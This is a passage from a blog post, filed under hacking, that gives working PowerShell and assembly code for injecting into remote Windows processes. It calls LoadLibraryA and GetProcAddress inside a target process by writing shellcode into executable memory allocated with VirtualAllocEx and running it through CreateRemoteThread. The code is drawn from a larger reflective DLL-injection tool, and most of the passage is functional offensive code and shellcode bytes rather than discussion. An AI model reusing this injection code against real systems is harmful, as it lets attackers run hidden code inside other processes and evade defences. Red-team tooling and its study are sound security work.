    $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes

    [IntPtr]$DllAddress = [IntPtr]::Zero
    #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
    #      Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
    if ($PEInfo.PE64Bit -eq $true)
    {
        #Allocate memory for the address returned by LoadLibraryA
        $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
        if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
        }

        #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
        $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
        $LoadLibrarySC2 = @(0x48, 0xba)
        $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
        $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)

        $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
        $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
        $SCPSMemOriginal = $SCPSMem

        Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)

        $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
        if ($RSCAddr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process for shellcode"
        }

        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
        if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
        {
            Throw "Unable to write shellcode to remote process memory."
        }

        $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
        $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
        if ($Result -ne 0)
        {
            Throw "Call to CreateRemoteThread to call GetProcAddress failed."
        }

        #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
        [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
        $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
        if ($Result -eq $false)
        {
            Throw "Call to ReadProcessMemory failed"
        }
        [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr])

        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
    }
    else
    {
        [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
        $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
        if ($Result -ne 0)
        {
            Throw "Call to CreateRemoteThread to call GetProcAddress failed."
        }

        [Int32]$ExitCode = 0
        $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
        if (($Result -eq 0) -or ($ExitCode -eq 0))
        {
            Throw "Call to GetExitCodeThread failed"
        }

        [IntPtr]$DllAddress = [IntPtr]$ExitCode
    }

    $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

    return $DllAddress
}

So, using PowerShell and a little bit of assembly I can load libraries in both 32bit and 64bit remote processes. Time to move on to remote GetProcAddress.

Remote GetProcAddress:

Calling GetProcAddress in remote processes is something I haven’t found a ton of information about online, and I didn’t like the solutions I saw. Unfortunately, you cannot use the CreateRemoteThread trick for 32bit processes because GetProcAddress takes 2 parameters (and you can only pass 1 parameter through CreateRemoteThread). I was already writing assembly for other functionality, and I figured this would be pretty easy to write in assembly as well. Unlike with LoadLibrary, assembly must be written for both 32bit and 64bit processes.

General steps:

  1. Write assembly code that calls GetProcAddress and writes the return value to a memory address in the remote process that I specify.
  2. Write this assembly code in to the remote process.
  3. Execute it using Invoke-CreateRemoteThread.
  4. Once the thread finished, read the memory address in the remote process that the assembly writes the return value to.

As you can see, these steps are basically identical to the LoadLibrary assembly steps.

64Bit Assembly:

[SECTION .text]

global _start

_start:
    ; Save state of rbx and stack
    push rbx
    mov rbx, rsp

    ; Set up stack for function call to GetProcAddress
    sub rsp, 0x20
    and sp, 0xffc0

    ; Call getprocaddress
    mov rcx, 0x4141414141414141    ; DllHandle, set by PS
    mov rdx, 0x4141414141414141    ; Ptr to FuncName string, set by PS
    mov rax, 0x4141414141414141    ; GetProcAddress address, set by PS
    call rax

    ; Store the result
    mov rcx, 0x4141414141414141    ; Ptr to buffer to save result,set by PS
    mov [rcx], rax

    ; Restore stack
    mov rsp, rbx
    pop rbx
    ret

32Bit Assembly:

[SECTION .text]

global _start

_start:
    ; Save state of ebx and stack
    push ebx
    mov ebx, esp

    ; Align stack
    and esp, 0xffffffc0

    ; Call GetProcAddress
    mov eax, 0x41414141          ; DllHandle, supplied by PS
    mov ecx, 0x41414141          ; Function name, supplied by PS
    push ecx
    push eax
    mov eax, 0x41414141          ; GetProcAddress address, supplied by PS
    call eax

    ; Write GetProcAddress return value to an address supplied by PS
    mov ecx, 0x41414141          ; Address supplied by PS
    mov [ecx], eax

    ; Fix stack
    mov esp, ebx
    pop ebx
    ret

If you think I suck at writing assembly, you are probably correct :-). But it gets the job done.

Here’s the PowerShell code for Invoke-GetRemoteProcAddress:

Function Get-RemoteProcAddress
{
    Param(
    [Parameter(Position=0, Mandatory=$true)]
    [IntPtr]
    $RemoteProcHandle,

    [Parameter(Position=1, Mandatory=$true)]
    [IntPtr]
    $RemoteDllHandle,

    [Parameter(Position=2, Mandatory=$true)]
    [String]
    $FunctionName
    )

    $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])
    $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)

    #Write FunctionName to memory (will be used in GetProcAddress)
    $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
    $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
    if ($RFuncNamePtr -eq [IntPtr]::Zero)
    {
        Throw "Unable to allocate memory in the remote process"
    }

    [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
    $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr)
    if ($Success -eq $false)
    {
        Throw "Unable to write DLL path to remote process memory"
    }
    if ($FunctionNameSize -ne $NumBytesWritten)
    {
        Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
    }

    #Get address of GetProcAddress
    $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
    $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes

    #Allocate memory for the address returned by GetProcAddress
    $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
    if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
    {
        Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
    }

    #Write Shellcode to the remote process which will call GetProcAddress
    #Shellcode: GetProcAddress.asm
    #todo: need to have detection for when to get by ordinal
    [Byte[]]$GetProcAddressSC = @()
    if ($PEInfo.PE64Bit -eq $true)
    {
        $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
        $GetProcAddressSC2 = @(0x48, 0xba)
        $GetProcAddressSC3 = @(0x48, 0xb8)
        $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
        $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
    }
    else
    {
        $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
        $GetProcAddressSC2 = @(0xb9)
        $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
        $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
        $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
    }
    $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
    $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
    $SCPSMemOriginal = $SCPSMem

    Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
    [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
    Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
    [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
    Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
    [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
    Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
    [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
    Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
    $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)

    $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
    if ($RSCAddr -eq [IntPtr]::Zero)
    {
        Throw "Unable to allocate memory in the remote process for shellcode"
    }

    $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
    if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
    {
        Throw "Unable to write shellcode to remote process memory."
    }

    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
    $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
    if ($Result -ne 0)
    {
        Throw "Call to CreateRemoteThread to call GetProcAddress failed."
    }

    #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
    [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
    $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
    if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
    {
        Throw "Call to ReadProcessMemory failed"
    }
    [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr])

    $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
    $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
    $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

    return $ProcAddress
}

And there you have it. Using this code you can get the addresses to functions in remote 32bit and 64bit processes.

You might have noticed the code references the variables Win32Functions and Win32Constants. I define these in other functions. Here is some of the code from Win32Functions. You might have a define a few functions yourself, because I am extracting this out of a much larger script and might miss a few things. I recommend checking out this blog post for information on reflectively defining structures in PowerShell: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html.

Function Get-Win32Functions
{
    $Win32Functions = New-Object System.Object

    $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
    $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
    $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
    $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc

    $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
    $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
    $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
    $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx

    $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
    $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
    $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy

    $memsetAddr = Get-ProcAddress msvcrt.dll memset
    $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
    $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset

    $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
    $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
    $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary

    $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
    $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
    $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress

    $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
    $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
    $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal

    $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
    $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
    $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
    $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree

    $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
    $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
    $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
    $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx

    $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
    $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
    $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
    $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect

    $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
    $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
    $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
    $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle

    $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
    $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
    $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

    $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
    $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
    $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess

    $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
    $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
    $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject

    $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
    $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
    $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory

    $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
    $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
    $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory

    $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
    $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
    $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

    $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
    $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
    $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread

    $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
    $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
    $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx

    return $Win32Functions
}

And here’s a bunch of Win32 Constants I have defined:

Function Get-Win32Constants
{
    $Win32Constants = New-Object System.Object

    $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
    $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
    $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
    $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
    $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
    $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
    $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
    $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0

    return $Win32Constants
}

I think this should give you most of the information and code you need. Let me know if you’d like to see more material like this, and keep your eyes out for an update to my PE injection which allows reflectively injecting DLL’s in to remote processes.

References:

Tagged with:
Posted in Hacking
Follow

Get every new post delivered to your Inbox.